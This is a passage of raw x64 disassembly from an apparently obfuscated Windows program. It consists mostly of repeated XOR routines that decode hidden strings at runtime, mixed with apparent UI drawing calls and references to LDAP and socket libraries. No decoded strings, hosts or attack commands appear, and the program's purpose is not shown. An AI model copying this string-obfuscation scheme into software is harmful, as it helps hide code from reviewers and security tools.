movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400f2372
jmp 0x1400f24b0
lea r9, [rbp + 0x900]
mov r8d, ebx
nop dword [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1400f2480
movss xmm1, dword [0x1402d3c1c]
lea rcx, [rbp + 0x900]
call fcn.1400716a0
movaps xmm1, xmm10
mov rcx, r13
call fcn.140040c80
mov dword [rbp + 0x200], 0x43778000
mov dword [rbp + 0x204], 0x42fa0000
lea rcx, [rbp + 0x200]
call fcn.140044e30
call fcn.1400324b0
mov dword [rbp + 0x208], 0x43820000
mov dword [rbp + 0x20c], 0x42200000
movsd xmm0, qword [str.fGPDYYT__]
movsd qword [rbp + 0x67c], xmm0
movzx eax, byte [0x140324790]
mov byte [rbp + 0x67c], 0x55
xor byte [rbp + 0x67d], 0x34
xor byte [rbp + 0x67e], 0x35
xor byte [rbp + 0x67f], 0x36
xor byte [rbp + 0x680], 0x37
xor byte [rbp + 0x681], 0x38
xor byte [rbp + 0x682], 0x39
xor byte [rbp + 0x683], 0x3a
xor al, 0x3b
mov byte [rbp + 0x684], al
movsd xmm0, qword [0x140324778]
movsd qword [rbp + 0x740], xmm0
movzx ecx, word [0x140324780]
mov word [rbp + 0x748], cx
movzx eax, byte [0x140324782]
mov byte [rbp + 0x740], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 0x741], 0x34
xor byte [rbp + 0x742], 0x35
xor byte [rbp + 0x743], 0x36
xor byte [rbp + 0x744], 0x37
xor byte [rbp + 0x745], 0x38
xor byte [rbp + 0x746], 0x39
xor byte [rbp + 0x747], 0x3a
xor cl, 0x3b
mov byte [rbp + 0x748], cl
xor byte [rbp + 0x749], 0x3c
xor al, 0x3d
mov byte [rbp + 0x74a], al
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
lea rax, [rbp + 0x208]
mov qword [rsp + 0x20], rax
mov r9d, 0xff
lea r8, [0x14049e860]
lea rdx, [rbp + 0x67c]
lea rcx, [rbp + 0x740]
call fcn.140067500
mov dword [rbp + 0x210], 0x43820000
mov dword [rbp + 0x214], 0x42200000
movsd xmm0, qword [str.cUFE_WK_]
movsd qword [rbp + 0x685], xmm0
movzx eax, byte [0x1403247b0]
mov byte [rbp + 0x685], 0x50
xor byte [rbp + 0x686], 0x34
xor byte [rbp + 0x687], 0x35
xor byte [rbp + 0x688], 0x36
xor byte [rbp + 0x689], 0x37
xor byte [rbp + 0x68a], 0x38
xor byte [rbp + 0x68b], 0x39
xor byte [rbp + 0x68c], 0x3a
xor al, 0x3b
mov byte [rbp + 0x68d], al
movsd xmm0, qword [0x140324798]
movsd qword [rbp + 0x74b], xmm0
movzx ecx, word [0x1403247a0]
mov word [rbp + 0x753], cx
movzx eax, byte [0x1403247a2]
mov byte [rbp + 0x74b], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 0x74c], 0x34
xor byte [rbp + 0x74d], 0x35
xor byte [rbp + 0x74e], 0x36
xor byte [rbp + 0x74f], 0x37
xor byte [rbp + 0x750], 0x38
xor byte [rbp + 0x751], 0x39
xor byte [rbp + 0x752], 0x3a
xor cl, 0x3b
mov byte [rbp + 0x753], cl
xor byte [rbp + 0x754], 0x3c
xor al, 0x3d
mov byte [rbp + 0x755], al
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x8000
lea rax, [rbp + 0x210]
mov qword [rsp + 0x20], rax
mov r9d, 0xff
lea r8, [0x14049e95f]
lea rdx, [rbp + 0x685]
lea rcx, [rbp + 0x74b]
call fcn.140067500
mov dword [rbp + 0x218], 0x43820000
mov dword [rbp + 0x21c], 0x42200000
mov rax, qword [0x1403247c8]
mov qword [rbp + 0x220], rax
cmp byte [0x1403247cf], 0
je 0x1400f28b0
cmp r15d, 2
jl 0x1400f286a
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm2, xmmword [0x1402d9220]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
mov eax, dword [str.3333333333333333R]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x220]
xorps xmm2, xmm1
movd dword [rbp + 0x220], xmm2
movdqa xmm3, xmmword [0x140327d40]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x224]
xorps xmm2, xmm1
movd dword [rbp + 0x224], xmm2
jmp 0x1400f28b0
lea r9, [rbp + 0x220]
mov r8d, ebx
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1400f2880
movsd xmm0, qword [0x1403247b8]
movsd qword [rbp + 0x700], xmm0
movzx eax, word [0x1403247c0]
mov word [rbp + 0x708], ax
cmp byte [reloc.WLDAP32.dll_Ordinal_60], 0
je 0x1400f291d
mov byte [rbp + 0x700], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 0x701], 0x34
xor byte [rbp + 0x702], 0x35
xor byte [rbp + 0x703], 0x36
xor byte [rbp + 0x704], 0x37
xor byte [rbp + 0x705], 0x38
xor byte [rbp + 0x706], 0x39
xor byte [rbp + 0x707], 0x3a
xor byte [rbp + 0x708], 0x3b
xor byte [rbp + 0x709], 0x3c
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
lea rax, [rbp + 0x218]
mov qword [rsp + 0x20], rax
mov r9d, 0xff
lea r8, [0x14049ea5e]
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x700]
call fcn.140067500
mov rcx, r14
call fcn.140044c30
movsd xmm0, qword [0x1403247d0]
movsd qword [rbp + 0x7a5], xmm0
mov eax, dword [0x1403247d8]
mov dword [rbp + 0x7ad], eax
cmp byte [0x1403247db], 0
je 0x1400f2ae0
mov r8d, ebx
cmp r15d, 2
jl 0x1400f2a9d
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm2, xmmword [0x1402d9220]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
mov eax, dword [str.3333333333333333R]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1403247d0]
xorps xmm2, xmm0
movd dword [rbp + 0x7a5], xmm2
movdqa xmm3, xmmword [0x140327d40]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x7a9]
xorps xmm2, xmm1
movd dword [rbp + 0x7a9], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x7a5]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400f2ab0
lea rdx, [0x14049f05d]
lea rcx, [rbp + 0x7a5]
call fcn.14006fb60
call fcn.140036530
call fcn.140040740
mov dword [rbp + 0x228], 0x43778000
mov dword [rbp + 0x22c], 0x43a00000
lea rcx, [rbp + 0x228]
call fcn.140044e30
mov rcx, rdi
call fcn.140044c30
movaps xmm6, xmmword [0x1402dae40]
movaps xmm7, xmmword [0x1402dad60]
movaps xmm8, xmmword [0x140327e80]
mov dword [rbp + 0x230], 0x43820000
mov dword [rbp + 0x234], 0x42200000
movsd xmm0, qword [str.aQR_DLHe]
movsd qword [rbp + 0x850], xmm0
mov eax, dword [0x1403247e8]
mov dword [rbp + 0x858], eax
movzx eax, word [0x1403247ec]
mov word [rbp + 0x85c], ax
movzx eax, byte [0x1403247ee]
mov byte [rbp + 0x85e], al
mov r8d, ebx
cmp r15d, 2
jl 0x1400f2c9b
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm2, xmmword [0x1402d9220]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
mov eax, dword [str.3333333333333333R]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.aQR_DLHe]
xorps xmm2, xmm0
movd dword [rbp + 0x850], xmm2
movdqa xmm3, xmmword [0x140327d40]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x854]
xorps xmm2, xmm1
movd dword [rbp + 0x854], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x850]
add r9, rax
nop dword [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1400f2cb0
movdqa xmmword [rsp + 0x60], xmm6
movdqa xmmword [rsp + 0x70], xmm7
movdqa xmmword [rbp - 0x70], xmm8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0xffffffff
lea rax, [0x14049f0f8]
mov qword [rsp + 0x30], rax
lea rax, [0x14049f0f0]
mov qword [rsp + 0x28], rax
lea rax, [0x14049f0e8]
mov qword [rsp + 0x20], rax
lea r9, [0x14049f0e0]
xor r8d, r8d
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0x850]
call fcn.140070150
test al, al
je 0x1400f3793
call fcn.14008f620
lea rax, [rbp + 0x1480]
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x1480], xmm0
mov qword [rbp + 0x1490], rbx
mov qword [rbp + 0x1498], rbx
xor r8d, r8d
lea rdx, [0x1402ce994]
lea rcx, [rbp + 0x1480]
call fcn.1400658e0
nop
lea rax, [rbp + 0x14a0]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x14a0], xmm0
mov qword [rbp + 0x14b0], rbx
mov qword [rbp + 0x14b8], rbx
mov r8, 0xffffffffffffffff
lea rax, [0x14049ea5e]
inc r8
cmp byte [rax + r8], 0
jne 0x1400f2dd2
mov rdx, rax
lea rcx, [rbp + 0x14a0]
call fcn.1400658e0
nop
lea rax, [rbp + 0x14c0]
mov qword [rbp - 0x70], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x14c0], xmm0
mov qword [rbp + 0x14d0], rbx
mov qword [rbp + 0x14d8], rbx
mov r8, 0xffffffffffffffff
lea rax, [0x14049e95f]
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400f2e20
mov rdx, rax
lea rcx, [rbp + 0x14c0]
call fcn.1400658e0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x14e0], xmm0
mov qword [rbp + 0x14f0], rbx
mov qword [rbp + 0x14f8], rbx
mov r8, 0xffffffffffffffff
lea rax, [0x14049e860]
inc r8
cmp byte [rax + r8], 0
jne 0x1400f2e60
mov rdx, rax
lea rcx, [rbp + 0x14e0]
call fcn.1400658e0
nop
lea rax, [rbp + 0x1480]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x14a0]
lea r8, [rbp + 0x14c0]
lea rdx, [rbp + 0x14e0]
lea rcx, [0x1404b8d30]
call fcn.14024afd0
cmp byte [0x1404b8f40], 0
jne 0x1400f2f00
movaps xmm1, xmm10
mov rcx, r12
call fcn.140040c80
lea r9, [0x1404b8f48]
cmp qword [0x1404b8f60], 0xf
cmova r9, qword [0x1404b8f48]
mov edx, 2
mov r8d, 0xbb8
lea rcx, [rbp + 0x7090]
call fcn.14008a180
lea rcx, [rbp + 0x7090]
call fcn.14008f3c0
call fcn.140040740
jmp 0x1400f3793
xorps xmm0, xmm0
movups xmmword [rbp + 0x1500], xmm0
mov qword [rbp + 0x1510], rbx
mov qword [rbp + 0x1518], rbx
mov r8, 0xffffffffffffffff
lea rax, [0x14049ea5e]
inc r8
cmp byte [rax + r8], 0
jne 0x1400f2f26
mov rdx, rax
lea rcx, [rbp + 0x1500]
call fcn.1400658e0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1520], xmm0
mov qword [rbp + 0x1530], rbx
mov qword [rbp + 0x1538], rbx
mov r8, 0xffffffffffffffff
lea rax, [0x14049e860]
inc r8
cmp byte [rax + r8], 0
jne 0x1400f2f66
mov rdx, rax
lea rcx, [rbp + 0x1520]
call fcn.1400658e0
nop
movsd xmm0, qword [0x140324810]
movsd qword [rbp + 0x756], xmm0
movzx ecx, word [0x140324818]
mov word [rbp + 0x75e], cx
movzx eax, byte [0x14032481a]
mov byte [rbp + 0x756], Ordinal_35
xor byte [rbp + 0x757], 0x34
xor byte [rbp + 0x758], 0x35
xor byte [rbp + 0x759], 0x36
xor byte [rbp + 0x75a], 0x37
xor byte [rbp + 0x75b], 0x38
xor byte [rbp + 0x75c], 0x39
xor byte [rbp + 0x75d], 0x3a
xor cl, 0x3b
mov byte [rbp + 0x75e], cl
xor byte [rbp + 0x75f], 0x3c
xor al, 0x3d
mov byte [rbp + 0x760], al
movsd xmm0, qword [0x140324800]
movsd qword [rbp + 0x7d6], xmm0
mov eax, dword [0x140324808]
mov dword [rbp + 0x7de], eax
movzx eax, byte [0x14032480c]
mov byte [rbp + 0x7e2], al
mov r8d, ebx
cmp r15d, 2
jl 0x1400f3133
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm2, xmmword [0x1402d9220]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
mov eax, dword [str.3333333333333333R]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140324800]
xorps xmm2, xmm0
movd dword [rbp + 0x7d6], xmm2
movdqa xmm3, xmmword [0x140327d40]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x7da]
xorps xmm2, xmm1
movd dword [rbp + 0x7da], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x7d6]
add r9, rax
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400f3140
movsd xmm0, qword [0x1403247f0]
movsd qword [rbp + 0x70a], xmm0
movzx eax, word [0x1403247f8]
mov word [rbp + 0x712], ax
cmp byte [reloc.WLDAP32.dll_Ordinal_60], 0
je 0x1400f31dd
mov byte [rbp + 0x70a], 0x7b
xor byte [rbp + 0x70b], 0x34
xor byte [rbp + 0x70c], 0x35
xor byte [rbp + 0x70d], 0x36
xor byte [rbp + 0x70e], 0x37
xor byte [rbp + 0x70f], 0x38
xor byte [rbp + 0x710], 0x39
xor byte [rbp + 0x711], 0x3a
xor byte [rbp + 0x712], 0x3b
xor byte [rbp + 0x713], 0x3c
lea r8, [rbp + 0x1500]
lea rdx, [rbp + 0x70a]
lea rcx, [rbp + 0x1540]
call fcn.140072df0
nop
lea r8, [rbp + 0x7d6]
mov rdx, rax
lea rcx, [rbp + 0x1560]
call fcn.140072d10
nop
lea r8, [rbp + 0x1520]
mov rdx, rax
lea rcx, [rbp + 0x1580]
call fcn.140072ca0
nop
lea r8, [rbp + 0x756]
mov rdx, rax
lea rcx, [rbp + 0x15a0]
call fcn.140072d10
nop
lea r8, [0x1404b8e90]
mov rdx, rax
lea rcx, [rbp + 0x15c0]
call fcn.140072ca0
nop
mov r8d, 2
lea rdx, [0x14032545c]
mov rcx, rax
call fcn.140097690
xorps xmm0, xmm0
movups xmmword [rbp + 0x15e0], xmm0
mov qword [rbp + 0x15f0], rbx
mov qword [rbp + 0x15f8], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x15e0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x15f0], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
or dword [rbp - 0x3c], 2
lea rcx, [rbp + 0x15c0]
call fcn.140065be0
nop
lea rcx, [rbp + 0x15a0]
call fcn.140065be0
nop
lea rcx, [rbp + 0x1580]
call fcn.140065be0
nop
lea rcx, [rbp + 0x1560]
call fcn.140065be0
nop
lea rcx, [rbp + 0x1540]
call fcn.140065be0
lea rax, [rbp + 0x1600]
mov qword [rsp + 0x60], rax
movups xmm0, xmmword [0x140324828]
movups xmmword [rbp + 0x650], xmm0
movzx eax, byte [0x140324838]
mov byte [rbp + 0x660], al
mov r8d, ebx
cmp r15d, 2
jl 0x1400f3455
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm0, xmmword [str.3333333333333333R]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x654]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400f3350
cmp r8d, 0x11
jge 0x1400f34a0
movsxd rax, r8d
lea r9, [rbp + 0x650]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1400f3470
lea rdx, [rbp + 0x650]
lea rcx, [rbp + 0x1600]
call fcn.1400897d0
mov rbx, rax
lea rax, [rbp + 0x1620]
mov qword [rsp + 0x70], rax
lea rdx, [rbp + 0x15e0]
lea rcx, [rbp + 0x1620]
call fcn.1400896b0
mov rdi, rax
lea rax, [rbp + 0x1640]
mov qword [rbp - 0x70], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x1640], xmm0
xor eax, eax
mov qword [rbp + 0x1650], rax
mov qword [rbp + 0x1658], rax
xor r8d, r8d
lea rdx, [0x1402ce994]
lea rcx, [rbp + 0x1640]
call fcn.1400658e0
nop
mov rax, qword [str.CUFEN:RDEZ_XNRSS]
mov qword [rbp + 0x238], rax
cmp byte [0x140324827], 0
je 0x1400f3680
cmp r15d, 2
jl 0x1400f363d
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm2, xmmword [0x1402d9220]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
mov eax, dword [str.3333333333333333R]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x238]
xorps xmm2, xmm1
movd dword [rbp + 0x238], xmm2
movdqa xmm3, xmmword [0x140327d40]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x23c]
xorps xmm2, xmm1
movd dword [rbp + 0x23c], xmm2
jmp 0x1400f3680
lea r9, [rbp + 0x238]
xor r8d, r8d
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1400f3650
lea rdx, [rbp + 0x238]
lea rcx, [rbp + 0x1660]
call fcn.1400897d0
nop
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x1640]
mov r8, rax
lea rdx, [rbp + 0x1680]
lea rcx, [0x1404b8d30]
call fcn.1402642b0
lea rcx, [rbp + 0x1680]
call fcn.140065be0
call fcn.1400a1390
mov dword [0x14049f064], 2
mov dword [0x14049f070], 0
mov r8, qword [rbp + 0x15f8]
cmp r8, 0xf
jbe 0x1400f3700
mov rdx, qword [rbp + 0x15e0]
lea rcx, [rbp + 0x15e0]
call fcn.140094060
xor ebx, ebx
mov qword [rbp + 0x15f0], rbx
mov qword [rbp + 0x15f8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x15e0], bl
mov r8, qword [rbp + 0x1538]
cmp r8, 0xf
jbe 0x1400f373a
mov rdx, qword [rbp + 0x1520]
lea rcx, [rbp + 0x1520]
call fcn.140094060
mov qword [rbp + 0x1530], rbx
mov qword [rbp + 0x1538], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1520], 0
mov r8, qword [rbp + 0x1518]
cmp r8, 0xf
jbe 0x1400f3773
mov rdx, qword [rbp + 0x1500]
lea rcx, [rbp + 0x1500]
call fcn.140094060
mov qword [rbp + 0x1510], rbx
mov qword [rbp + 0x1518], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1500], 0
mov rdi, qword [rbp + 0xd8]
call fcn.140035d40
mov eax, dword [0x14049f064]
cmp eax, 2
jne 0x1400fe176
movaps xmm0, xmmword [0x140327e20]
movups xmmword [rbp + 0x910], xmm0
lea rcx, [rbp + 0x910]
call fcn.140034770
movss xmm1, dword [rbp + 0x12c]
addss xmm1, dword [0x140327c80]
movss xmm0, dword [rbp + 0x128]
movss xmm8, dword [0x1402dacd0]
addss xmm0, xmm8
movss dword [rbp + 0x240], xmm0
movss dword [rbp + 0x244], xmm1
mov dword [rsp + 0x28], 0x50
movss xmm0, dword [0x1402d3c00]
movss dword [rsp + 0x20], xmm0
mov r9d, eax
lea r8, [rbp + 0x240]
